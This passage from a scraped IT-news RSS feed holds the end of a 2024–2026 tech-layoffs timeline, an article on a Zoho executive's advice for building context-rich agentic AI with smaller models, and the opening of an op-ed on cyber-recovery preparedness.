<p class="wp-block-paragraph">The company says the decision to <a href="https://www.computerworld.com/article/4200349/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era-2.html">cut 620 jobs</a> isn’t about margins, but about creating a flatter organization built around AI agents, autonomous teams, and deeper customer engagement.</p>



<h3 class="wp-block-heading">July 6, 2026: Microsoft cuts 4,800 jobs, primarily in sales and Xbox teams</h3>



<p class="wp-block-paragraph">As the company <a href="https://www.computerworld.com/article/4193532/microsoft-bets-that-enterprise-ai-needs-engineers-not-bigger-sales-teams-2.html" target="_blank">trims thousands of jobs</a>, it’s also investing in embedded engineering teams and AI infrastructure. The layoffs come several weeks after the company offered 8,750 US employees <a href="https://www.computerworld.com/article/4163188/microsoft-to-offer-voluntary-retirement-buyouts-to-about-7-of-the-us-workforce.html">voluntary retirement buyouts</a>.</p>



<h3 class="wp-block-heading">June 5, 2026: Tech industry cut 38,242 jobs in May, worst since 2024</h3>



<p class="wp-block-paragraph">AI was blamed for 40% of <a href="https://www.computerworld.com/article/4181822/tech-industry-cut-38242-jobs-in-may-worst-since-2024.html">the job cuts in May</a>, up from 7% in January, according to research by employment placement company Challenger, Gray &amp; Christmas.</p>



<h3 class="wp-block-heading">May 20, 2026: Meta cuts 8,000 jobs, around 10% of workforce</h3>



<p class="wp-block-paragraph">The cuts are expected to expected to hit Meta’s engineering and product teams the hardest, arriving as Meta pivots toward AI to boost efficiency across its organization, <a href="https://tech.yahoo.com/general/article/meta-starts-cutting-8000-jobs-as-part-of-previously-announced-layoffs-145220586.html" target="_blank" rel="noreferrer noopener">according to Yahoo Tech</a>.</p>



<h3 class="wp-block-heading">May 13, 2026: Cisco to cut nearly 4,000 jobs despite strong growth in AI, enterprise networking</h3>



<p class="wp-block-paragraph">Despite reporting positive financial news — including record third-quarter revenue of $15.8 billion, a 12% year-over-year increase — Cisco said it will <a href="https://www.networkworld.com/article/4171043/cisco-to-cut-nearly-4000-jobs-despite-strong-growth-in-ai-enterprise-networking.html" target="_blank">eliminate almost 4,000 jobs</a>.</p>



<h3 class="wp-block-heading">May 7, 2026: Cloudflare to cut 1,100 jobs in AI-focused restructuring</h3>



<p class="wp-block-paragraph">About <a href="https://finance.yahoo.com/markets/stocks/articles/cloudflare-cut-over-1-100-204726989.html" target="_blank" rel="noreferrer noopener">20% of Cloudflare’s global workforce will be culled</a> as the company pivots for the agentic AI era, Reuters reported.</p>



<h3 class="wp-block-heading">April 1, 2026: Oracle to cut up to 30,000 jobs globally, putting enterprise support and roadmaps at risk</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4153113/oracle-cuts-up-to-30000-jobs-globally-putting-enterprise-support-and-roadmaps-at-risk.html">Oracle began laying off employees</a> on March 31 in what could be the largest workforce reduction in the company’s history. Employees received termination emails at 6 a.m. local time with immediate system lockouts and no prior warning. <em>(Note: in June, CNBC put the <a href="https://www.cnbc.com/2026/06/23/oracle-ai-job-cuts-layoffs-21000.html" target="_blank" rel="noreferrer noopener">final layoff tally at 21,000</a>.)</em></p>



<h3 class="wp-block-heading">March 12, 2026: Atlassian cuts 1,600 jobs to fund AI and enterprise expansion</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4144218/atlassian-cuts-1600-jobs-to-fund-ai-and-enterprise-expansion.html">Atlassian will reduce its global workforce</a> by approximately 10%, eliminating around 1,600 roles, as the collaboration software maker redirects capital toward artificial intelligence development and enterprise sales.</p>



<h3 class="wp-block-heading">March 11, 2026: Tech layoffs surpass 45,000 in early 2026</h3>



<p class="wp-block-paragraph">A recent analysis by RationalFX found 45,363 job cuts globally so far this year—with roughly 68% or more than 30,000 occurring in the U.S. — highlighting ongoing <a href="https://www.networkworld.com/article/4143749/tech-layoffs-surpass-45000-in-early-2026.html" target="_blank">workforce cuts even as many tech companies report strong revenue growth</a>.</p>



<h3 class="wp-block-heading">February 10, 2026: Salesforce lays off staffers as executive leadership churn continues</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4130028/salesforce-lays-off-staffers-as-executive-leadership-churn-continues.html" target="_blank">Salesforce has reduced close to 1,000 roles</a> earlier this month across teams, including marketing, product management, data analytics, and its <a href="https://www.cio.com/article/4011936/salesforce-agentforce-3-promises-new-ways-to-monitor-and-manage-ai-agents.html">Agentforce</a> AI unit, <a href="https://www.businessinsider.com/salesforce-cuts-jobs-executive-changes-2026-2">Business Insider</a> reported, quoting employees familiar with the matter.</p>



<h3 class="wp-block-heading">January 23, 2026: Amazon layoffs expected to disproportionately hit AWS and tech talent</h3>



<p class="wp-block-paragraph">As the market slows down, <a href="https://www.computerworld.com/article/4121653/amazon-layoffs-expected-to-disproportionately-hit-aws-and-tech-talent.html">AWS and other Amazon units are preparing for another round of layoffs</a>, which is expected to overwhelmingly impact tech talent. An email from HR leader Beth Galetti on Jan. 28 <a href="https://www.computerworld.com/article/4123477/amazon-confirms-16000-job-cuts-including-to-aws.html">confirmed 16,000 job cuts</a>.</p>



<h3 class="wp-block-heading">January 15, 2026: Ericsson plans to shed 1,600 jobs in Sweden</h3>



<p class="wp-block-paragraph"> Ericsson lans to cut some 1,600 jobs in Sweden, the telecommunications equipment maker said doubling down on recent cost-saving measures that have helped it weather a prolonged downturn in telecoms spending, <a href="https://www.reuters.com/business/world-at-work/ericsson-shed-1600-jobs-sweden-2026-01-15/" target="_blank" rel="noreferrer noopener">Reuters reports</a>.</p>



<h3 class="wp-block-heading">January 13, 2026: Meta plans to cut around 10% of employees in Reality Labs business</h3>



<p class="wp-block-paragraph">Meta plans to cut around 10% of the employees in its Reality Labs division who work on products including the metaverse, according to three people with knowledge of the discussions, <a href="http://meta%20plans%20to%20cut%20around%2010%25%20of%20employees%20in%20reality%20labs%20business/" target="_blank" rel="noreferrer noopener">according to The New York Times</a>.</p>



<h2 class="wp-block-heading">Layoffs in 2025</h2>



<ul class="wp-block-list">
<li>Cisco</li>



<li>Oracle</li>



<li>Windsurf</li>



<li>Intel</li>



<li>Microsoft</li>



<li>Crowdstrike</li>



<li>HPE</li>



<li>Autodesk</li>



<li>HPE</li>



<li>CISA</li>



<li>Workday</li>



<li>Salesforce</li>



<li>Meta</li>
</ul>



<h3 class="wp-block-heading">Global tech-sector layoffs surpass 244,000 in 2025</h3>



<p class="wp-block-paragraph">Economic uncertainty, elevated interest rates, and AI adoption have <a href="https://www.networkworld.com/article/4114572/global-tech-sector-layoffs-surpass-244000-in-2025.html" target="_blank">driven workforce reductions across tech companies worldwide</a>, according to a RationalFX report.</p>



<h3 class="wp-block-heading">October 28, 2025: Amazon to cut 14,000 jobs across company</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4080142/amazon-to-cut-14000-jobs-across-company.html">Amazon will reduce its overall workforce</a> by 14,000, cutting layers of management across the company and hiring in some areas to support its “biggest bets”.</p>



<h3 class="wp-block-heading">August 18, 2025: Cisco and Oracle to cut hundreds of Bay Area jobs</h3>



<p class="wp-block-paragraph">Tech companies Cisco and Oracle are <a href="https://www.sfchronicle.com/tech/article/cisco-oracle-layoffs-bay-area-20824135.php" target="_blank" rel="noreferrer noopener">cutting hundreds of jobs across the Bay Area</a>. Cisco will eliminate 221 positions at its Milpitas and San Francisco offices, effective Oct. 13. Oracle is reducing 101 positions in Santa Clara on the same date </p>



<h3 class="wp-block-heading">August 5, 2025: 3 weeks after acquiring Windsurf, Cognition offers staff the exit door</h3>



<p class="wp-block-paragraph">Cognition, the AI coding startup that acquired rival company Windsurf three weeks ago, laid off 30 employees last week and is offering buyouts to the roughly 200 remaining employees on the team, <a href="https://www.theinformation.com/articles/cognition-offers-buyouts-newly-acquired-windsurf-staff" target="_blank" rel="noreferrer noopener">reports The Information</a>.</p>



<h3 class="wp-block-heading">July 25, 2025, Intel to lay off 22% of workforce, CEO Tan signals ‘no more blank checks’</h3>



<p class="wp-block-paragraph"><a href="https://www.computerworld.com/article/4028896/intel-to-lay-off-22-of-workforce-as-ceo-tan-signals-no-more-blank-checks.html">Intel will reduce its workforce to 75,000 employees</a> by the end of 2025 as new CEO Lip-Bu Tan implements sweeping changes designed to transform the struggling chipmaker</p>



<h3 class="wp-block-heading">July 8, 2025, Intel layoffs begin: Chipmaker is cutting many thousands of jobs</h3>



<p class="wp-block-paragraph">Intel has begun laying off employees across the company. CEO Lip-Bu Tan told workers back in April to expect <a href="https://www.oregonlive.com/silicon-forest/2025/07/intel-layoffs-begin-chipmaker-is-cutting-many-thousands-of-jobs.html">major layoffs at Intel </a>in the coming months as the chipmaker slashes costs and overhauls its organization after years of technical setbacks and falling sales. </p>



<h3 class="wp-block-heading">July 2, 2025: Microsoft will cut 9,000 workers</h3>



<p class="wp-block-paragraph">Microsoft will lay off about 9,000 employees, a source familiar with the workforce cut <a href="https://www.nbcnews.com/business/business-news/microsoft-laying-9000-employees-latest-cuts-rcna216553">told CNBC</a>.  The cuts will reportedly affect less than 4% of Microsoft’s global workforce and will impact different teams, geographies and levels of experience. This is the latest in a string of cuts the tech giant has made this year.</p>



<h3 class="wp-block-heading">June 17, 2025: Intel looks to factory layoffs to return to profitability</h3>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/4008670/can-intel-cut-its-way-to-profit-with-factory-layoffs.html">Intel will lay off up to 20% of its manufacturing sector employees</a> starting in July,  according to media reports, as the company looks for options as it seeks a return to profitability. The cuts reportedly will be made around the world, but some of the layoffs will be closer to home, according to a report in The Oregonian citing an internal company memo from Intel manufacturing Vice President Naga Chandrasekaran.</p>



<h3 class="wp-block-heading">May 7, 2025: CrowdStrike to lay off 5% of staff</h3>



<p class="wp-block-paragraph"><a href="https://www.reuters.com/sustainability/crowdstrike-lay-off-5-staff-reaffirms-forecasts-2025-05-07/">CrowdStrike announced a plan to cut about 500 roles</a>, roughly 5% of its workforce, to streamline operations and reduce costs. The cybersecurity company will incur about $36 million to $53 million in charges related to the layoffs</p>



<h3 class="wp-block-heading">March 6, 2025: HPE cuts 2,500 jobs, remains committed to Juniper buy</h3>



<p class="wp-block-paragraph">CEO Antonio Neri told Wall Street analysts that <a href="https://www.networkworld.com/article/3840596/hpe-cuts-2500-workers-expects-juniper-buy-to-close-end-of-25-faces-tariff-issues.html">HPE would begin implementing a cost-cutting program involving layoffs </a>of about 2,500 employees over the next 18 months. HPE employs about 61,000 people worldwide.</p>



<h3 class="wp-block-heading">Feb. 27, 2025: Autodesk to lay off 9% of workforce</h3>



<p class="wp-block-paragraph">Software maker Autodesk is laying off 1,350 staff. With the rise of subscription and multi-year contracts billed annually, and self-service enablement, it finds it needs fewer sales staff, <a href="https://adsknews.autodesk.com/en/news/022725-employee-message/">CEO Andrew Anagnost said in a message to employees</a>. And with its cloud, platform, and AI products proving most profitable, it’s concentrating its staff and investments there. </p>



<h3 class="wp-block-heading">Feb. 27, 2025: HP to lay off 2,000 more</h3>



<p class="wp-block-paragraph">As part of an ongoing restructuring, HP plans to lay off up to another 2,000 workers. In recent weeks, the company has tried — unsuccessfully — to do away with telephone support staff by <a href="https://www.pcworld.com/article/2617767/hp-forced-callers-to-wait-15-minutes-before-connecting-to-support-staff.html">forcing callers to wait for at least 15 minutes</a> if they refuse to use self-service support resources online. The company swiftly backtracked, but wider job cuts are still on. </p>



<h3 class="wp-block-heading">Feb. 21, 2025: <a href="https://www.csoonline.com/article/3829710/firing-of-130-cisa-staff-worries-cybersecurity-industry.html">CISA lays off 130</a></h3>



<p class="wp-block-paragraph">Government employees get laid off too: In this case, 130 workers at the US Cybersecurity and Infrastructure Security Agency are being shown the door as a result of a DOGE decision. Cybersecurity experts are concerned that the cuts will harm the international collaborations that CISA has fostered, quite apart from their concerns about the security of the DOGE layoff process itself.</p>



<h3 class="wp-block-heading">Feb. 5, 2025: <a href="https://www.computerworld.com/article/3817887/workday-to-cut-1750-jobs-shift-focus-to-ai-and-global-expansion.html">Workday lays off 1,750</a></h3>



<p class="wp-block-paragraph">As it moves to invest more in AI and international growth, Workday is laying off 8.5% of its workforce and disposing of unused office space. Some analysts fear the cutbacks will affect the company’s customer service — unless AI can pick up the slack.</p>



<h3 class="wp-block-heading">Feb. 4, 2025: Salesforce lays off over 1,000</h3>



<p class="wp-block-paragraph">At the same time as it’s hiring sales staff for its new artificial intelligence products, Salesforce is laying off over 1,000 workers across the company, according to Bloomberg. As of June, 2024, the company had over 72,000 employees, according to its website. Salesforce did not comment on the report. In 2024 the company reportedly laid off around 1,000 staff too, in two waves: January and July.</p>



<h3 class="wp-block-heading">Jan. 14, 2025: Meta will lay off 5% of workforce</h3>



<p class="wp-block-paragraph">Mark Zuckerberg told Meta employees he intended to “move out the low performers faster” in an internal memo reported by Bloomberg. The memo announced that the company will lay off 5% of its staff, or around 3,600 staff, beginning Feb. 10. The company had already reduced its headcount by 5% in 2024 through natural attrition, the memo said. Among those leaving the company will be staff previously responsible for fact checking of posts on its social media platforms in the US, as the company begins relying on its users to police content.</p>



<h2 class="wp-block-heading">Tech layoffs in 2024</h2>



<ul class="wp-block-list">
<li>Equinix</li>



<li>AMD</li>



<li>Freshworks</li>



<li>Cisco</li>



<li>General Motors</li>



<li>Intel</li>



<li>OpenText</li>



<li>Microsoft</li>



<li>AWS</li>



<li>Dell</li>
</ul>



<h3 class="wp-block-heading">Nov. 26, 2024: <a href="https://www.networkworld.com/article/3613399/equinix-to-cut-3-of-staff-amidst-the-greatest-demand-for-data-center-infrastructure-ever.html">Equinix to cut 3% of staff</a></h3>



<p class="wp-block-paragraph">Despite intense demand for its data center capacity, Equinix is planning to lay off 3% of its workforce, or around 400 employees. The announcement followed the appointment of Adaire Fox-Martin to replace Charles Meyers as CEO and the departures of two other senior executives, CIO Milind Wagle and CISO Michael Montoya.</p>



<h3 class="wp-block-heading">Nov. 13, 2024: <a href="https://www.networkworld.com/article/3605016/amd-to-cut-4-of-workforce-to-prioritize-ai-chip-expansion-to-rival-nvidia.html#:~:text=Workforce%20reduction%20comes%20amid%20strong,shift%20in%20focus%20toward%20AI.&amp;text=Advanced%20Micro%20Devices%20(AMD)%20is,Nvidia's%20lead%20in%20the%20sector.">AMD to cut 4% of workforce</a></h3>



<p class="wp-block-paragraph">AMD will lay off around 1,000 employees as it pivots towards developing AI-focused chips, it said. The move came as a surprise to staff, as the company also reported strong quarterly earnings. </p>



<h3 class="wp-block-heading">Nov. 7, 2024: <a href="https://www.cio.com/article/3601088/freshworks-lays-off-660-about-13-percent-of-its-global-workforce-despite-strong-earnings-profits.html">Freshworks lays off 660</a></h3>



<p class="wp-block-paragraph">Enterprise software vendor Freshworks laid off around 660 staff, or around 13% of its headcount, despite reporting increased revenue and profits in its fourth fiscal quarter. The company described the layoffs as a realignment of its global workforce.</p>



<h3 class="wp-block-heading">Sept. 17, 2024: <a href="https://www.networkworld.com/article/3486901/cisco-to-cut-7-of-workforce-restructure-product-groups.html">Cisco lays off 6,000</a></h3>



<p class="wp-block-paragraph">After laying off around 4,200 staff in February, Cisco is at it again, laying off another 6,000 or around 7% of its workforce. Among the divisions affected were its threat intelligence unit, Talos Security. </p>



<h3 class="wp-block-heading">Aug. 20, 2024: <a href="https://www.cio.com/article/3489323/gm-software-layoffs-could-signal-a-shift-in-digital-transformation-strategy.html">General Motors lays off 1,000 software staff</a></h3>



<p class="wp-block-paragraph">More than 1,000 software and services staff are on the way out at General Motors, signalling that it could be rethinking its digital transformation strategy. In an internal memo, the company said that it was moving resources to its highest-priority work and flattening hierarchies.</p>



<h3 class="wp-block-heading">August 1, 2024: <a href="https://www.computerworld.com/article/3480715/intel-fires-15000-employees-as-it-intensifies-focus-on-ai.html">Intel removes 15,000 roles</a></h3>



<p class="wp-block-paragraph">Intel plans to cut its workforce by around 15% to reduce costs after a disastrous second quarter. Revenue for the three months to June 29 stagnated at around $12.8 billion, but net income fell 85% to $83 million, prompting CEO Pat Gelsinger to bring forward a company-wide meeting in order to announce that 15,000 staff would lose their jobs. “This is an incredibly hard day for Intel as we are making some of the most consequential changes in our company’s history,” Gelsinger wrote in an email to staff, continuing: “Our revenues have not grown as expected — and we’ve yet to fully benefit from powerful trends, like AI. Our costs are too high, our margins are too low. We need bolder actions to address both — particularly given our financial results and outlook for the second half of 2024, which is tougher than previously expected.”</p>



<h3 class="wp-block-heading">July 4, 2024: <a href="https://www.computerworld.es/article/2513686/opentext-despedira-a-cerca-de-1-200-empleados.html">OpenText to lay off 1,200</a></h3>



<p class="wp-block-paragraph">OpenText said it will lay off 1,200 staff, or about 1.7% of its workforce, in a bid to save around $100 million annually. It plans to hire new sales and engineering staff in other areas in 2025, it said.</p>



<h3 class="wp-block-heading">June 4, 2024: <a href="https://www.networkworld.com/article/2138075/microsoft-lays-off-staffers-from-its-azure-division.html">Microsoft lays off staff in Azure division</a></h3>



<p class="wp-block-paragraph">Microsoft laid off staff in several teams supporting its cloud services, including Azure for Operations and Mission Engineering. The company didn’t say exactly how many staff were leaving.</p>



<h3 class="wp-block-heading">April 4, 2024: <a href="https://www.cio.com/article/2081437/amazon-downsizes-aws-in-a-fresh-cost-cutting-round.html">Amazon downsizes AWS</a> in a fresh cost-cutting round</h3>



<p class="wp-block-paragraph">Amazon announced hundreds of layoffs in the sales and marketing teams of its AWS cloud services division — and also in the technology development teams for its physical retail stores, as it stepped back from efforts to generalize the “<a href="https://www.cio.com/article/2079910/amazon-drops-just-walk-out-technology-at-its-us-retail-locations.html">Just Walk Out</a>” technology built for its Amazon Fresh grocery stores. </p>



<h3 class="wp-block-heading">April 1, 2024: <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">Dell acknowledges 13,000 job cuts</a></h3>



<p class="wp-block-paragraph">Dell Technologies’ <a href="https://investors.delltechnologies.com/static-files/d6e82f58-d417-422f-b2f3-4d08d498abd4" target="_blank" rel="noreferrer noopener">latest 10K filing with the US Securities and Exchange Commission</a> disclosed that the company had laid off 13,000 employees over the course of the 2023 fiscal year; it characterized the layoffs and other reorganizational moves as cost-cutting measures. “These actions resulted in a reduction in our overall headcount,” the company said. A comparison to the previous year’s 10K filing, performed by The Register, found that Dell employed 133,000 people at that point, compared to 120,000 as of February 2024. Dell announced layoffs of 6,650 staffers on Feb. 6, but it is unclear whether those cuts were reflected in the numbers from this year’s 10K statement.</p>



<p class="wp-block-paragraph"><em><a href="https://www.computerworld.com/article/3816662/tech-layoffs-in-2024-a-timeline.html">See news of earlier layoffs.</a></em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</guid>
<pubDate>Thu, 23 Jul 2026 12:04:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Principles every enterprise must test before the attack arrives]]></title>
<description><![CDATA[I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.



Imagine this: A major global enterprise, a company mos...]]></description>
<link>https://tsecurity.de/de/3688625/it-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688625/it-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</guid>
<pubDate>Thu, 23 Jul 2026 12:04:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.</p>



<p class="wp-block-paragraph">Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”</p>



<p class="wp-block-paragraph">This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.</p>



<p class="wp-block-paragraph">As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:</p>



<h2 class="wp-block-heading">Recovery is not just a technical exercise</h2>



<p class="wp-block-paragraph">The first assumption to break during a real crisis is <a href="https://www.cio.com/article/4165019/your-cloud-strategy-is-incomplete-without-a-cyber-recovery-plan.html">the belief that recovery is purely technical</a>.</p>



<p class="wp-block-paragraph">Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can <a>point to</a> backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.</p>



<p class="wp-block-paragraph">The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.</p>



<p class="wp-block-paragraph">Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A <a href="https://www.veeam.com/company/press-release/veeam-report-reveals-a-market-wide-shift-from-recovery-confidence-to-proven-data-resilience-amid-ransomware-threats-and-ai-adoption.html">recent survey</a> found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.</p>



<p class="wp-block-paragraph">True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.</p>



<h2 class="wp-block-heading">Most business continuity plans ignore ‘total blackout’</h2>



